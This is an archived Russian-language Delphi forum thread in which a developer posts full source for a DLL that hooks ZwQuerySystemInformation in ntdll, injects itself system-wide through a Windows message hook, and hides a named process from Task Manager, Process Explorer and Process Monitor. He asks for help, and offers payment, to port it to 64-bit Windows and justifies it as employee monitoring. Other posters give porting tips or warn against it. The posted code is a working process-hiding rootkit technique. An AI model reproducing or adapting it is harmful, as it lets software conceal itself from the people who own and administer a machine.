Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2013.03.22;
Скачать: CL | DM;

Вниз

перехват native api в 64bit Windows...   Найти похожие ветки 

 
istok20 ©   (2009-06-24 00:48) [0]

есть у меня такая либа, которая скрывает любой процесс из диспетчера задач и других программ. проблема в том, что она не работает в 64битных виндах.  вопрос - как ее подружить с 64битными ОС Windows?


library prtct;

uses
 Windows,
 NativeAPI,
 ThreadStopper;

type
OldCode = packed record
 One: dword;
 two: word;
end;

far_jmp = packed record
 PuhsOp: byte;
 PushArg: pointer;
 RetOp: byte;
end;

var
 Hook: HHOOK;
 JmpZwq: far_jmp;
 OldZwq: OldCode;
 PtrZwq: pointer;
 FIsTM: Boolean;

Function TrueZwQuerySystemInformation(ASystemInformationClass: dword;
                                 ASystemInformation: Pointer;
                                 ASystemInformationLength: dword;
                                 AReturnLength: PCardinal): NTStatus; stdcall;
var
Written: dword;
begin
 WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
                    @OldZwq, SizeOf(OldCode), Written);

 Result := ZwQuerySystemInformation(ASystemInformationClass,
                                    ASystemInformation,
                                    ASystemInformationLength,
                                    AReturnLength);

 WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
                    @JmpZwq, SizeOf(far_jmp), Written);
end;

Function NewZwQuerySystemInformation(ASystemInformationClass: dword;
                                 ASystemInformation: Pointer;
                                 ASystemInformationLength: dword;
                                 AReturnLength: PCardinal): NTStatus; stdcall;
var
 Info, Prev: PSYSTEM_PROCESSES;
begin
 Result := TrueZwQuerySystemInformation(ASystemInformationClass,
                                       ASystemInformation,
                                       ASystemInformationLength,
                                       AReturnLength);

 if (ASystemInformationClass = SystemProcessesAndThreadsInformation) and
   (Result = STATUS_SUCCESS) then
 begin
   Prev := ASystemInformation;
   Info := ASystemInformation;
   while Info^.NextEntryDelta <> 0 do
   begin
     Info := Pointer(dword(Info) + Info^.NextEntryDelta);
     if (lstrcmpiw(Info^.ProcessName.Buffer, "myprogram.exe") = 0)  then
     begin
       if Info^.NextEntryDelta = 0 then
         Prev^.NextEntryDelta := 0
       else
         Prev^.NextEntryDelta := Prev^.NextEntryDelta + Info^.NextEntryDelta;
     end
     else
       Prev := Info;
   end;
 end;
end;

function IsTM: Boolean;
var
 WndFound: Boolean;
 rslt: boolean;

 function AnalyzeWnd(CurHandle: THandle; CurrentProcessId: LParam): Boolean; stdcall;
 var
   WndProcId: Cardinal;
   Buffer : array[0..255] of Char;
 begin
   Result := True;
   GetWindowThreadProcessId(CurHandle, WndProcId);

   if LParam(WndProcId) = CurrentProcessId then
   begin
     FillChar(Buffer, 256, 0);
     GetClassName(CurHandle, @Buffer[0], 255);

     if (Buffer = "#32770") or (Buffer = "PROCEXPL") or (Buffer = "PROCMON_WINDOW_CLASS") then
     begin
       WndFound := True;
       //&#239;&#240;&#229;&#234;&#240;&#224;&#249;&#224;&#229;&#236; Enum
       Result := False;
     end;  
   end;
 end;

begin

 WndFound := False;
 rslt := EnumWindows(@AnalyzeWnd, GetCurrentProcessId);
 Result := not rslt;
end;

type
TWriteProcessMemory = function (hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer;
 nSize: DWORD; var lpNumberOfBytesWritten: DWORD): BOOL; StdCall;

procedure WriteProcessMemory2(hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer;
 nSize: DWORD; var lpNumberOfBytesWritten: DWORD);
var
LibHandle  : THandle;
RunWriteProcessMemory: TWriteProcessMemory;
begin
// Attempt to load the DLL
LibHandle := LoadLibrary("KERNEL32.DLL");
try
 // If the load failed, LibHandle will be zero.
 // If this occurs, raise an exception.
 if LibHandle = 0 then Exit;
//   raise EDLLLoadError.Create("Unable to Load DLL");
 // If the code makes it here, the DLL loaded successfully; now obtain
 // the link to the DLL"s exported function so that it can be called.
 @RunWriteProcessMemory := GetProcAddress(LibHandle, "WriteProcessMemory");
 // If the function is imported successfully, then set
 // lblDate.Caption to reflect the returned date from
 // the function. Otherwise, show the return raise an exception.
 if not (@RunWriteProcessMemory = nil) then
  RunWriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesWritten)
//  else
//   RaiseLastWin32Error;
finally
 FreeLibrary(LibHandle); // Unload the DLL.
end;
end;

Procedure SetHook();
var
Bytes: dword;
begin
 PtrZwq  := GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation");
 ReadProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
 JmpZwq.PuhsOp  := $68;
 JmpZwq.PushArg := @NewZwQuerySystemInformation;
 JmpZwq.RetOp   := $C3;
 WriteProcessMemory2(INVALID_HANDLE_VALUE, PtrZwq, @JmpZwq, SizeOf(far_jmp), Bytes);
end;

Procedure Unhook();
var
Bytes: dword;
begin
 WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
end;

function MessageProc(code : integer; wParam : longint; lParam : longint) : longint; stdcall; export;
begin
 Result := CallNextHookEx(0, Code, wParam, lparam);
end;

procedure DLLEntryPoint(dwReason: DWord);
begin
 if not FIsTM then Exit;
 case dwReason of
   DLL_PROCESS_ATTACH: begin
                         //SetGlobalHook();
                         StopThreads;
                         SetHook();
                         RunThreads;
                       end;
   DLL_PROCESS_DETACH: begin
                         StopThreads;
                         Unhook();
                         RunThreads;
                       end;
 end;
end;

procedure GlobalHook; export;
begin
 Hook:=SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
end;

procedure GlobalUnhook;export;
begin
 UnhookWindowsHookEx(Hook);
end;

exports
 GlobalHook, GlobalUnhook;

begin
 FIsTM := IsTM;
 DllProc := @DLLEntryPoint;
 DLLEntryPoint(DLL_PROCESS_ATTACH);
end.


 
brother ©   (2009-06-24 05:40) [1]

переписать под x64?


 
Игорь ©   (2009-06-24 09:24) [2]

Копай сюда

http://msdn.microsoft.com/en-us/library/aa384249(VS.85).aspx


 
istok20 ©   (2009-06-24 12:57) [3]


> переписать под x64?

это только из-под VisualStudio или и в delphi как-то реально под 64бита скомпилить?


 
brother ©   (2009-06-24 14:17) [4]

> под 64бита скомпилить?

я говорил о переписать)


 
DVM ©   (2009-06-24 19:45) [5]


> и в delphi как-то реально под 64бита скомпилить?

FreePascal может


 
istok20 ©   (2009-11-30 18:29) [6]

угу, перевели в FreePascal, компилит (в lazarus), грузит, но там очевидно надо править start\stop threads и writetoprocessmemory под 64бита,

буду рад если кто-то отклинется пофиксить (или переписать в любой другой среде) код за оплату.

можете писать сюда - alex_for_chat@mail.ru - вышлю тестовый проект.

спасибо


 
Игорь Шевченко ©   (2009-11-30 19:45) [7]


> есть у меня такая либа, которая скрывает любой процесс из
> диспетчера задач


Тайное всегда становится явным. Найдут и больно надерут ремнем.


 
istok20 ©   (2009-11-30 20:17) [8]


> Игорь Шевченко ©   (30.11.09 19:45) [7]


это реквест клиента, чьи сотрудники работают на компьютерах, являющихся собственностью компании. более того, сотрудники об этих процессах знают. так что ничего криминального)


 
Anatoly Podgoretsky ©   (2009-12-01 08:55) [9]

> istok20  (30.11.2009 20:17:08)  [8]

Административны задачи наиболее эффективно решаются административными методами.


 
istok20 ©   (2009-12-01 13:01) [10]


> Anatoly Podgoretsky ©   (01.12.09 08:55) [9]
> > istok20  (30.11.2009 20:17:08)  [8]
>
> Административны задачи наиболее эффективно решаются административными
> методами.


они их решают и административно тоже, но очень хотят чтобы сотрудник не имел возможности "мухлевать" и отключать процессы приложения..

я понимаю, что здесь есть доля паранойи, но моё дело сделать и продать то, на что есть спрос, а не переубеждать клиента)

вобщем, если у кого есть идеи как это сделать, пишите на alex_for_chat@mail.ru, договоримся.

спасибо.



Страницы: 1 вся ветка

Текущий архив: 2013.03.22;
Скачать: CL | DM;

Наверх




Память: 0.5 MB
Время: 0.101 c
15-1352291019
Inovet
2012-11-07 16:23
2013.03.22
Скончаося Кругляков Эдуард Павлович


15-1334989775
TSubject
2012-04-21 10:29
2013.03.22
Кто работал с Java?


15-1332102602
Юрий
2012-03-19 00:30
2013.03.22
С днем рождения ! 19 марта 2012 понедельник


15-1350904692
Newersim
2012-10-22 15:18
2013.03.22
Помогите перевести пару строк на с++


15-1329288950
AV
2012-02-15 10:55
2013.03.22
Записать в файл сразу, аналог flush pascal